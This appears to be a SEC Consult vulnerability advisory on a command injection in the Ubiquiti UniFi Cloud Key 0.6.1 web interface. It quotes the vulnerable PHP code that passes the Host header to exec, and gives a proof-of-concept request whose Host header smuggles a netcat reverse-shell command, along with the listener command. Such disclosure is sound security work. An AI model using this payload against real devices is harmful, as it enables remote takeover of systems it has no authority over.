Vendor Description
“Ubiquiti Networks develops high-performance networking technology for service providers and enterprises. Our technology platforms focus on delivering highly advanced and easily deployable solutions that appeal to a global customer base in underserved and underpenetrated markets.”
Source: http://ir.ubnt.com/
Business Recommendation
SEC Consult recommends not to use this device in production until a thorough security review has been performed by security professionals and all identified issues have been resolved.
Vulnerability Overview/ Description
A command injection can be triggered via the hostname header in the status GET request. This vulnerability can be exploited when the Cloud Key web interface is exposed to the Internet and an attacker has credentials to it.
Proof Of Concept
The following PHP snipplet is responsible for the command execution vulnerability:
(api.inc, line 265)
[...]
function is_unifi_running() {
if (!isset($_SERVER['HTTP_HOST'])) {
$c_host = $_SERVER['SERVER_ADDR'];
} else {
$c_host = $_SERVER['HTTP_HOST'];
}
$unifi_href = 'http://' . $c_host . ':8080/status';
exec(CMD_CURL . $unifi_href, $out, $rc);
if ($rc == 0) {
return true;
}
return false;
}
[...]
Since ‘$c_host’ is not filtered, a command injection is possible.
The following GET request was used to open a reverse-shell via command injection
from the Cloud Key system (192.168.0.30) to the attacker (192.168.0.3):
GET /api/status HTTP/1.1
Host: 192.168.0.30;busybox nc 192.168.0.3 8999 -e bash;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
X-Access-Token: <Token>
Referer: https:// 192.168.0.30/login
Cookie: CKSESSIONID=<Session-ID>
Connection: close
As the listener, netcat was used:
$ nc -lvp 8999
Vulnerable / Tested Versions
Ubiquiti Networks UniFi Cloud Key version 0.6.1 has been tested. This version was the latest at the time the security vulnerabilities were discovered.